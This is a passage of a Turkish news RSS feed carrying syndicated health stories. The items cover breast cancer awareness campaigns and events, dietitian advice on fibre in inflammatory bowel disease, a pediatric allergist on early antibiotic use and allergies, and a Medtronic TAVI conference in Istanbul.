                <pubDate>Thu, 27 Oct 2022 11:02:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/okulumda-kanpanya-var-Pa3YMpAE.jpg"/>
            </item>
                                <item>
                <title>Victoria&#039;s Secret Türkiye, Meme Kanseri’nde Beslenme Farkındalığına Dikkat Çekmek İçin Sağlıklı Beslenme ve Diyet Uzmanı Taylan Kümeli ile Instagram Canlı Yayını Gerçekleştirdi</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/victorias-secret-turkiye-meme-kanserinde-beslenme-farkindaligina-dikkat-cekmek-icin-saglikli-beslenme-ve-diyet-uzmani-taylan-kumeli-ile-instagram-canli-yayini-gerceklestirdi-547396</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/victorias-secret-turkiye-meme-kanserinde-beslenme-farkindaligina-dikkat-cekmek-icin-saglikli-beslenme-ve-diyet-uzmani-taylan-kumeli-ile-instagram-canli-yayini-gerceklestirdi-547396</guid>
                <description><![CDATA[Meme Kanseri Farkındalık Ayı kapsamında, meme sağlığına ve erken teşhisin önemine dikkat çekmek üzere Victoria's Secret Türkiye, Ebru Akel’in ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><em>Meme Kanseri Farkındalık Ayı kapsamında, meme sağlığına ve erken teşhisin önemine dikkat çekmek üzere Victoria's Secret Türkiye,</em> <em>Ebru Akel’in keyifli moderatörlüğüyle, KontrolSeninElinde sloganıyla Instagram üzerinden Sağlıklı Beslenme ve Diyet Uzmanı Taylan Kümeli ile beslenme üzerine bir canlı yayın hayata geçirdi.</em> <em>Daha önce meme kanseri ile savaşan Kümeli, kanser tedavisi gören izleyicilere “Hayat çok güzel, nefes aldığınız her an çok değerli. Asla motivasyonunuzu kaybetmeyin.” mesajını da verdi.</em></span></span></p>  <p><span><span>Victoria’s Secret Türkiye, Pembe İzler Kadın Kanserleri Derneği iş birliğiyle hayata geçirdiği 200 kadına mamografi desteğinin yanı sıra, 24 Ekim Pazartesi günü farkındalık yaratmak adına başarılı sunucu Ebru Akel’in moderatörlüğünde, Sağlıklı Beslenme ve Diyet Uzmanı Taylan Kümeli ile meme kanserinde beslenme farkındalığı üzerine bir canlı yayın gerçekleştirdi. </span></span></p>  <p><span><span>Instagram canlı yayını “<em><strong>Meme Kanserinde Beslenme Farkındalığı</strong></em>” konusu üzerine Sağlıklı Beslenme ve Diyet Uzmanı Taylan Kümeli ile gerçekleştirildi. Taylan Kümeli bu sohbette; meme kanserinde beslenme alışkanlıkları, meme kanseri ile beslenmenin ilişkisi, meme kanserinde iştah kaybı ve ne gibi besinler tüketilmeli konuları üzerinde çok önemli noktalara değindi. En kritik noktalardan birinin bağışıklık sistemini güçlü tutmak olduğunu belirten Kümeli, “Lif açısından zengin gıdalar yiyin, bol bol sebze ve meyve tüketiniz. Yaban mersini, kükürtlü besinler, avokado ve somon balığını tüketmek de bu dönemde çok önemli. Soya sosu, jambon veya turşu gibi çok tuzlu gıdaları seyrek veya az miktarda yemelisiniz. Vücudunuzdaki mucize besinler tuzağına düşmemelisiniz. Herkesten çeşitli öneriler gelebilir ancak siz tüketeceğiniz mucize besinleri öğrenmek için mutlaka doktorunuza danışın.” dedi. </span></span></p>  <p><span><span>Meme kanseri ile mücadelesini de değinen Uzman Diyetisyen Taylan Kümeli; kendini düzenli olarak muayene etmenin ve mamografi çektirmenin ne kadar önemli olduğunu dile getirirken, beslenmenin yanında destekleyici aktivitelerin de öneminden bahsetti. Kümeli, “Radyoterapi görürken yürüyüşü de hiç aksatmadım. Bütün besin gruplarını tüketmek önemli tabi ama onları olabildiğince kontrollü tüketmeye çalıştım. Günlük yoğurt, günlük yumurta gibi doğal yiyecekler tüketmeye dikkat ettim.” dedi. Duygusal anların da yaşandığı canlı yayında Taylan Kümeli, “Hayat çok güzel, nefes aldığınız her an çok değerli. Asla motivasyonunuzu kaybetmeyin.” diyerek yayından ayrıldı. </span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-victoria-s-secret-turkiye-meme-kanseri-nde-beslenme-farkindaligina-dikkat-cekmek-icin-saglikli-beslenme-ve-diyet-uzmani-taylan-kumeli-ile-Instagram-canli-yayini-gerceklestirdi-67537.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 17:27:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/victorias-secret-turkiye-meme-kanserinde-beslenme-farkindaligina-dikkat-cekmek-icin-saglikli-beslenme-ve-diyet-uzmani-taylan-kumeli-ile-instagram-canli-yayini-gerceklestirdi-thUlXXig.jpg"/>
            </item>
                                <item>
                <title>Bağırsak Şikayetlerinizi Azaltın</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/bagirsak-sikayetlerinizi-azaltin-547392</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/bagirsak-sikayetlerinizi-azaltin-547392</guid>
                <description><![CDATA[İNFLAMATUAR BAĞIRSAK HASTALIKLARINDA LİFLİ BESİNLER AZALTILMALI Besin Alerjisi Derneği üyesi Alerji Diyetisyeni Ecem Tuğba Özkan sizler için ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>İNFLAMATUAR BAĞIRSAK HASTALIKLARINDA LİFLİ BESİNLER AZALTILMALI</strong></span></span></p>  <p><span><span><span>Besin Alerjisi Derneği üyesi Alerji Diyetisyeni Ecem Tuğba Özkan sizler için bazı bağırsak hastalıklarında lif tüketiminin neden azaltılması gerektiğini anlattı.</span></span></span></p>  <p><span><span><strong><span>İnflamatuar bağırsak hastalığı, </span></strong><span>Crohn hastalığı, ülseratif koliti içeren kronik, tekrarlayan bağırsak iltihabıdır. İnflamatuar bağırsak hastalığının görülme sıklığı son yıllarda gelişmiş ülkelerde artmaktadır.</span></span></span></p>  <p><span><span><span>İnflamatuar bağırsak hastalığının belirtileri karın ağrısı, ishal, kanlı dışkı, kilo kaybı ve geç ergenliktir. Ayrıca uzun vadede bağırsak kanserinin görülme riskini arttırabilir. Bu hastalığın kesin nedeni bilinmemektedir, ancak bazı risk faktörleri arasında genetik, beslenme, çevresel etkenler ve bağırsak bakterilerindeki değişiklikler bulunmaktadır.</span></span></span></p>  <p><span><span><strong><span>Lif, </span></strong><span>bitki kaynaklı besinlerde (tahıllar, meyveler, sebzeler ve bakliyatlar) bulunan ve insan vücudundaki sindirim enzimleri tarafından parçalanmaya dirençli bir grup bileşiğe verilen isimdir. </span></span></span></p>  <p><span><span><strong><span>Diyet lifi tüketmek,</span></strong><span> sağlıklı bireylerde bağırsak sağlığını olumlu yönde etkilerken inflamatuar bağırsak hastalığına sahip bireylerde hassasiyet nedenli şikayete neden olmaktadır. Ancak yapılan araştırmalara göre, fermente edilmemiş liflerin tüketilmesinin inflamasyonu artırdığı ve bazı inflamatuar bağırsak hastalığına sahip hastalarda belirtileri kötüleştirdiği görülmüştür. Araştırmacılar, enginar, hindiba kökü, sarımsak, kuşkonmaz ve muz gibi besinlerde bulunan belirli lif türlerinin, genellikle inflamatuar bağırsak hastalığına sahip hastalarda belirli bakterilerin eksik veya hatalı çalışması durumunda fermente edilmesinin özellikle zor olduğunu belirtmişlerdir.</span></span></span></p>  <p><span><span><strong><u><span>Sonuç olarak,</span></u></strong><span> inflamatuar bağırsak hastalığında fermente edilmemiş diyet liflerine karşı hassasiyet bulunmaktadır. Bu durumun nedenleri arasında; bağırsak mikrobiyotasının lifi fermente etme kapasitesinde azalma, mukozal yüzeyde bağışıklık hücrelerinin varlığının artması ve bağırsak bariyerinde inflamatuar hasarı bulunmaktadır. Bu nedenle, bu hastalığa sahip bireylerin diyet lifi seçiminde dikkat etmeleri gerekmektedir. Kuşkonmaz ve brokoli gibi saplı sebzeler, havuç,patates,kereviz ve pancar gibi kök sebzeler, enginar, hindiba kökü, sarımsak, soğan ve muz gibi besinlerden uzak durmaları bağırsaklarını olumlu etkileyecektir.</span></span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-bagirsak-sikayetlerinizi-azaltin-67535.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 17:02:10 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/bagirsak-sikayetlerinizi-azaltin-sby6UbUC.jpg"/>
            </item>
                                <item>
                <title>Bebeklerde Antibiyotik Tehlikesi</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/bebeklerde-antibiyotik-tehlikesi-547383</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/bebeklerde-antibiyotik-tehlikesi-547383</guid>
                <description><![CDATA[Bebeklik Döneminde Kullanılan Antibiyotikler Astım ve Alerji Yapıyor Bakteriler yerine virüslere bağlı birçok üst solunum yolu, barsak ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Bebeklik Döneminde Kullanılan Antibiyotikler Astım ve Alerji Yapıyor</strong></span></span></p>  <p><span><span><strong>Bakteriler yerine virüslere bağlı birçok üst solunum yolu, barsak enfeksiyonunda antibiyotiklerin sıklıkla kullanıldığını maalesef görüyoruz.</strong> <strong>Erken yaşlarda antibiyotik kullanmak sindirim sistemindeki sağlıklı bakterileri de öldürmekte ve bunun sonucu olarak immün yanıtın değişmesine neden olarak astım ve alerjik hastalıklara sebebiyet vermektedir.</strong></span></span></p>  <p><b><span><span><strong>Antibiyotikler Masum Değil</strong></span></span></b></p> <p><span><span>Günümüzde enfeksiyonların tedavisinde kullanılan antibiyotiklerin uzun dönemde vücudumuzda yaratabileceği zararları olabilmektedir. Antibiyotikler bakteriler nedeniyle meydana gelen enfeksiyonların tek ve en etkili tedavi seçeneğidir. Ancak bazen bu etkinlikleri suiistimal edilmekte ve aslında kullanılması uygun olmayan birçok üst solunum yolu, barsak enfeksiyonunda da kullanıldığını maalesef görüyoruz. Peki bu kadar sık kullandığımız antibiyotikler sanıldığı kadar masum mu?</span></span></p>  <p><span><span><strong>Alerji ve Astım Derneği Üyesi Çocuk Alerji Uzmanı Dr. Gizem Atakul ‘</strong>Bebeklik döneminde hatta gebelikte maruz kullanılan antibiyotiklerin ilerleyen yaşlarda çocuklarda başta alerjik hastalıklar olmak üzere bağışıklık sisteminin yanıtlarını değiştirerek birçok hastalığın sebebi olabileceği tartışılıyor. Ne kadar çok ve ne kadar geniş etkiye sahip antibiyotik kullanılırsa zararlı etkileri de o kadar çok olmaktadır. Yeni bir çalışma, antibiyotiklere erken yaşlarda maruz kalmanın sindirim sistemindeki sağlıklı bakterileri öldürdüğünü bu nedenle de astım ve alerjiye neden olabileceğini gösteriyor’ açıklamasını yaptı. </span></span></p>  <p><b><span><span><strong>Çocuklarınızda Antibiyotikten Kaçının!</strong></span></span></b></p> <p><span><span>Günümüze kadar yapılan birçok çalışmada antibiyotiklerin alerji hastalıkların artmasındaki rolü araştırılmıştır. En son yapılan çalışmada erken çocukluk döneminde antibiyotik kullanımı ile ilerleyen yaşlarda astım ve alerji gelişimi için neden-sonuç ilişkisini gösteren en güçlü kanıtlar sunulmuştur. Bu çalışmanın sonucuna göre dikkat etmemiz gereken şey oldukça açık. Özellikle küçük çocuklarda mümkün olduğunca antibiyotik kullanmaktan kaçınmalıyız. Çünkü uzun vadede astım veya diğer alerjik hastalıkların gelişimi ve bu hastalıklardan kaynaklanan sorunlar için riskleri arttırmaktadır. </span></span></p>  <p><span><span><strong>Antibiyotikler Bağırsak Mikrobiyotasını Bozuyor</strong></span></span></p> <p><span><span>Bağırsak mikrobiyatası olarak adlandırılan, bağırsağımızda yaşayan yararlı bakterilerin çeşitliliği ve sayısının birçok hastalığın gelişiminde önemli role sahip olduğunu biliyoruz. Ne yazık ki antibiyotikler o anda bizim için zararlı olan bakterileri öldürürken vücudumuzda bizim için yararlı olan bakterileri de öldürmektedir. Yararlı bakterilerin sayısının azalması, bağışıklık sistemimizin dış ortamda karşılaştığı maddelere verdiği yanıtları değiştirmektedir. Bu nedenle bozulmuş bir mikrobiyataya sahip birey aslında kendisi için zararlı olmayan polen, ev tozu gibi maddeleri tehdit olarak algılayıp bağışıklık yanıtı geliştirir. Bunun sonucunda da kişi artık polen ve ev tozuyla karşılaştığında alerjik yanıt verir böylece astım ve alerjik nezle gibi hastalıkların belirtileri başlar. </span></span></p>  <p><b><span><span><strong>Antibiyotikler Alerji Yapıyor!</strong></span></span></b></p> <p><span><span>Çocuk Alerji Uzmanı Gizem Atakul antibiyotiklerin alerjik hastalıklara nasıl neden olduğunu yapılan bir çalışmanın çarpıcı sonuçları ile anlatabileceğini bildirdi. Bu çalışmanın sonuçları şu şekilde: Farelerin bir kısmına 5 günlükken ağızdan antibiyotik, bir kısmına su veriliyor.  Fareler büyüdüğünde ev tozu ile karşılaştırılıyor. Antibiyotik verilmiş farelerin, su verilen farelerden farklı olarak alerjiye neden olan bağışıklık yanıtı verdiğini görüyorlar. Ancak erişkin dönemde antibiyotiğe maruz kalmış farelerin alerji yanıtı geliştirmediğini görüyorlar. Ancak gelecek nesil için durum aynı değil. Alerjik yanıt vermeyen bu farelerin yavruları, ev tozu akarlarına daha fazla tepki gösteriyor. Tıpkı bebeklik döneminde antibiyotik alan farelerin, alerjene su alanlara göre daha fazla tepki vermesi gibi. Bu çalışma bize antibiyotiklerin bağışıklık sistemimize ait yanıtları nasıl etkilediği hakkında önemli bilgiler veriyor. Görüyoruz ki, yalnızca erişkin dönemde değil aynı zamanda bebeklik dönemindeki mikrobiyatanın değişmesi alerjik hastalıkların gelişimini arttırmaktadır. </span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-bebeklerde-antibiyotik-tehlikesi-67528.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 16:44:06 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/bebeklerde-antibiyotik-tehlikesi-Kl7PNCay.jpg"/>
            </item>
                                <item>
                <title>Girişimsel kardiyoloji dünyası Medtronic’in “EvolutFirst” etkinliğinde buluştu</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/girisimsel-kardiyoloji-dunyasi-medtronicin-evolutfirst-etkinliginde-bulustu-547376</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/girisimsel-kardiyoloji-dunyasi-medtronicin-evolutfirst-etkinliginde-bulustu-547376</guid>
                <description><![CDATA[Sağlık teknolojilerinin dünyada lideri Medtronic’in İstanbul’da düzenlediği “EvolutFirst” etkinliği, girişimsel kardiyoloji dünyasının buluşma ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Sağlık teknolojilerinin dünyada lideri Medtronic’in İstanbul’da düzenlediği “EvolutFirst” etkinliği, girişimsel kardiyoloji dünyasının buluşma noktası oldu. Zirvede, Türkiye, Avrupa, Orta Doğu ve Asya'dan 150’den fazla üst düzey uzman İstanbul’da ağırlandı.</strong></span></span></p>  <div> <p><span><span>Girişimsel kardiyoloji dünyası, bu çok önemli alandaki son gelişmeleri ve teknolojileri tartışmak üzere Medtronic’in düzenlediği EvolutFirst etkinliğinde biraraya geldi. 22-23 Ekim tarihlerinde İstanbul Crown Plaza Viaport Oteli’nde düzenlenen etkinlik, günümüzde girişimsel kardiyolojinin dünyadaki en önemli isimleri arasında yer alan <strong>Dr. Guilherme F. Attizzani</strong> liderliğinde gerçekleşti. </span></span></p>  <p><span><span>Girişimsel kardiyoloji alanında en önde gelen uluslararası akademik ve girişimsel bilgi paylaşımı platformlarından biri olmaya aday bu etkinlik, iki gün boyunca sektörün oyuncuları ve paydaşlarını girişimsel kardiyolojinin uzmanlarıyla buluşturdu. İnteraktif bir ortamda geçen etkinlikte, bilgi, fikir ve deneyim alışverişi yaşandı.</span></span></p>  <p><span><span>Etkinlikte Türkiye, Avrupa, Orta Doğu ve Asya'dan 150’den fazla üst düzey uzman biraraya geldi </span></span></p>  <p><span><span><em><strong>“Ana amaçlarımız arasında hekimlerin eğitimi de var”</strong></em></span></span></p> <p><span><span>Zirvenin açılış konuşmasını yapan <strong>Medtronic Türkiye, Batı Asya ve Levant Bölge Başkanı Ayhan Öztürk</strong>, Medtronic olarak böylesine önemli bir etkinliğe ev sahipliği yapmaktan dolayı büyük gurur ve mutluluk duyduklarından bahsetti. Öztürk, sözlerine şöyle devam etti: </span></span></p>  <p><span><span><em>“Medtronic olarak 90.000’den fazla çalışanımızla, 150'den fazla ülkede hekimlere, hastanelere ve hastalara hizmet veriyoruz. Sağlıkta teknoloji üretiyoruz ve kendimizi bir teknoloji firması olarak konumlandırıyoruz. Ürettiğimiz teknolojilerle milyonlarca insanın ağrısını gidermek, sağlığını geri kazandırmak ve ömrünü uzatmak için çalışıyoruz. Her saniye dünyada 2 kişi Medtronic ürünleriyle tedavi oluyor. Sadece ürün de satmıyoruz. Ayrıca teknolojilerimiz ve satış klinik destek profesyonellerimiz ile vakalara destek vererek hekimlere de önemli hizmetler sağlıyoruz. Ana amaçlarımız arasında hekimlerin eğitimi var. Eğer hekimler teknolojinin getirdiği yeniliklere hâkim olurlarsa, nasıl kullanacaklarını bilirlerse dünyadaki meslektaşlarına göre hiçbir zaman geriye düşmezler diye düşünüyoruz. Düzenlediğimiz bu özel etkinliği de hekimlerin bir araya gelerek bilgi paylaşımı açısından çok değerli buluyorum. Medtronic olarak bu etkinliğe ev sahipliği yaptığımız için çok mutluyuz.”</em></span></span></p>  <p><span><span><strong>Ciddi semptomatik aort darlığı olan hastalar için mükemmel seçenek</strong></span></span></p> <p><span><span>Bu önemli etkinliğe liderlik eden <strong>Dr. Guilherme F. Attizzani </strong>ise, konuşmasında TAVI hakkında genel bilgiler verirken, bu yöntemin fark yaratan yönlerine dikkat çekti. Attizzani, şunları söyledi:</span></span></p> <p><span><span><em>“TAVI prosedürü, açık kalp cerrahisinden daha az invazivdir. Tüm prosedür tipik olarak yaklaşık 1-2 saat sürer. Hafif bir sakinleştirici mi yoksa genel anestezi mi kullanmanız gerektiğine kalp ekibiniz karar verecektir. Şiddetli aort darlığı olan hastaların yönetiminde değişen bir paradigma olan transkateter aort kapak implantasyonu (TAVI), aort kapağını değiştirmek için minimal invaziv, kateter bazlı bir prosedürdür. TAVI açık kalp ameliyatı gerektirmez. Bunun yerine, TAVI ile kalbe bir arter yoluyla erişilir. TAVI, cerrahi aort kapak implantasyonu (SAVI) ile ilişkili artan risklere sahip olabilecek ciddi semptomatik aort darlığı olan bazı hastalar için mükemmel bir seçenek olabilir. Müdahale olmadan, bu hasta popülasyonunun hayatta kalma oranı iki yılda yaklaşık 50'dir. Evolut™ ve Corevalve™ TAVI platformları, yıllarca süren klinik çalışma sonuçları boyunca ve cerrahi risk yelpazesinde olağanüstü güçlü güvenlik ve performans göstermiştir.”</em></span></span></p> </div>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-girisimsel-kardiyoloji-dunyasi-medtronic-in-evolutfirst-etkinliginde-bulustu-67521.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 16:29:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/girisimsel-kardiyoloji-dunyasi-medtronicin-evolutfirst-etkinliginde-bulustu-fY1psUkO.jpg"/>
            </item>
                                <item>
                <title>Fibaemeklilik ve Anadolubank’tan meme kanseri farkındalığı için iş birliği</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/fibaemeklilik-ve-anadolubanktan-meme-kanseri-farkindaligi-icin-is-birligi-547356</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/fibaemeklilik-ve-anadolubanktan-meme-kanseri-farkindaligi-icin-is-birligi-547356</guid>
                <description><![CDATA[“Pembe Kurdele” projesiyle meme kanserine ilişkin farkındalığın artması için çalışmalar yürüten Fibaemeklilik, Meme Kanseri Farkındalık Ayı’nda ...]]></description>
                <content:encoded><![CDATA[<p><p><span>“Pembe Kurdele” projesiyle meme kanserine ilişkin farkındalığın artması için çalışmalar yürüten Fibaemeklilik, Meme Kanseri Farkındalık Ayı’nda Anadolubank ile iş birliğine gitti. Ekim ayı boyunca devam eden “Pembe Kurdele” ortak çalışması kapsamında Anadolubank çalışanlarına meme kanseri ve kadınlara özgü kanserler konusunda bilgilendirmeler yapıldı. Toplumsal farkındalığı artıracak bir görünürlük sağlamak üzere yüzlerce pembe kurdelenin dağıtıldığı Anadolubank çalışanları, “Pembe Kurdele” ile meme kanseri konusunda ayrıntılı bilgiler edindi. </span></p>  <p><span>“Pembe Kurdele” kapsamında Anne Çocuk Eğitim Vakfı’nın (AÇEV) “Kadınların Eğitimi, Ailelerin Sağlığı ve Mutluluğu” projesine bağış kampanyasını destekleyen Fibaemeklilik, aynı zamanda her ayın son Perşembe gününü özmuayene günü olarak uyguluyor. İş birliğinin bir parçası olarak Anadolubank’taki 750 kadın çalışana “Pembe Kurdele Hayat Sigortası” hediye eden Fibaemeklilik, 27 Ekim’de Anadolubank çalışanlarına da özmuayene konusunda bilgilendirme yapacak. </span></p>  <p><span>“<strong>İş ortaklarımızın da desteğiyle en fazla kişiye ulaşmak istiyoruz”</strong></span></p>  <p><span>Pembe Kurdele projesinin ulaştığı her kadın dünyasında yeni bir ışık yaktığını ve erken teşhis sağlayacak önlemler konusunda bir farkındalık uyandırdığını belirten <strong>Fibaemeklilik Projeler, ADK, Pazarlama ve Müşteri Hizmetleri Direktörü Buket Erşan </strong>şunları ifade etti:</span></p>  <p><span>“Erken teşhisin hayati önem taşıdığı bir hastalıkla mücadelede her kadının bireysel farkındalığının yüksek olması gerektiğine olan inancımızla, iş ortaklarımızın da desteğini alarak ulaşabildiğimiz en fazla kişiye ulaşmak istiyoruz. Meme Kanseri Farkındalık Ayı boyunca Anadolubank ile yürüttüğümüz ortak projemizde de sadece bankanın çalışanlarını değil, başta Anadolubank müşterileri olmak üzere banka çalışanlarının yaşamları boyunca dokunabildiği her kadına farkındalık taşımayı amaçlıyoruz. Olası risklere karşı sigorta önemli bir teminattır. Pembe Kurdele Hayat Sigortası hediye ettiğimiz banka çalışanlarını tedavi konusunda güvence altına aldığımız için memnuniyet duyuyoruz.”</span></p>  <p><strong><span>“Fibaemeklilik iş birliği ile çalışanlarımızı bilinçlendiriyoruz”</span></strong><br/>  </p> <p><span>Fibaemeklilik iş birliği kapsamında öz muayene ve erken teşhis gibi konularda çalışanlarını bilinçlendirme fırsatı bulduklarını ifade eden <strong>Anadolubank Pazarlama ve Sigorta Bölüm Başkanı İnanç Altan</strong> ise şunları söyledi: </span></p>  <p><span>“Bankamız çalışanlarının yüzde 50’ye yakınını kadınlar oluşturuyor. Fibaemeklilik iş birliğimiz ile tüm dünyada Meme Kanseri Farkındalık Ayı olarak kabul edilen Ekim ayı boyunca çalışanlarımızı ve hayatlarındaki tüm kadınları bilinçlendirmek için meme kanserinin risk faktörleri, belirtileri, tanı ve tedavi yöntemleri ile kanserden korunmak adına sağlıklı yaşam koşulları konularında özel eğitimler düzenledik. Yine farkındalık adına yürüttüğümüz çalışmalar kapsamında tüm kadın çalışanlarımıza Pembe Kurdele Hayat Sigortası hediye ettik. Meme kanserinin oldukça yaygınlaştığı günümüzde sadece kadınlarda değil, toplumda ve ailede farkındalık oluşturmak önem arz ediyor. Biliyoruz ki Türkiye'de en sık görülen üç kanser türünden biri olan meme kanserinde erken teşhis hayat kurtarır.” </span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-fibaemeklilik-ve-anadolubank-tan-meme-kanseri-farkindaligi-icin-is-birligi-67508.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 15:13:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/fibaemeklilik-ve-anadolubanktan-meme-kanseri-farkindaligi-icin-is-birligi-guchbL8J.jpg"/>
            </item>
                                <item>
                <title>Van Büyükşehir’den MEME Kanseri Farkındalık Semineri</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/van-buyuksehirden-meme-kanseri-farkindalik-semineri-547343</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/van-buyuksehirden-meme-kanseri-farkindalik-semineri-547343</guid>
                <description><![CDATA[Van Büyükşehir Belediyesi, ‘1-31 Ekim Meme Kanseri Bilinçlendirme ve Farkındalık Ayı’ etkinlikleri kapsamında bilinçlendirme semineri düzenledi ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Van Büyükşehir Belediyesi, ‘1-31 Ekim Meme Kanseri Bilinçlendirme ve Farkındalık Ayı’ etkinlikleri kapsamında bilinçlendirme semineri düzenledi.</span></span></p>  <p><span><span>Büyükşehir Belediyesi Kadın ve Aile Hizmetleri Dairesi Başkanlığı ile Van Yüzüncü Yıl Üniversitesi işbirliğinde Prof. Dr. Cengiz Andiç Kültür Merkezi’nde düzenlenen seminere Van YYÜ Rektörü Prof. Dr. Hamdullah Şevli, Büyükşehir Belediyesi Kadın ve Aile Hizmetleri Daire Başkanı Selma Biçek, sivil toplum kuruluşlarının kadın temsilcileri, akademisyenler ve vatandaşlar katıldı.</span></span></p>  <p><span><span>Açılış konuşmaları ile başlayan seminerde, meme kanseri bulguları, meme hastalıklarında radyolojik görüntüleme, meme kanserine onkoloji yaklaşım, meme kanserinde psikolojik boyutta farkındalık ve 1. basamak meme kanserleri ile ilgili sunumlar yapıldı.</span></span></p>  <p><span><span>Kadınların ilgi gösterdiği seminer, konuşmaların ardından yapılan sergi gezisi ile sona erdi.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a 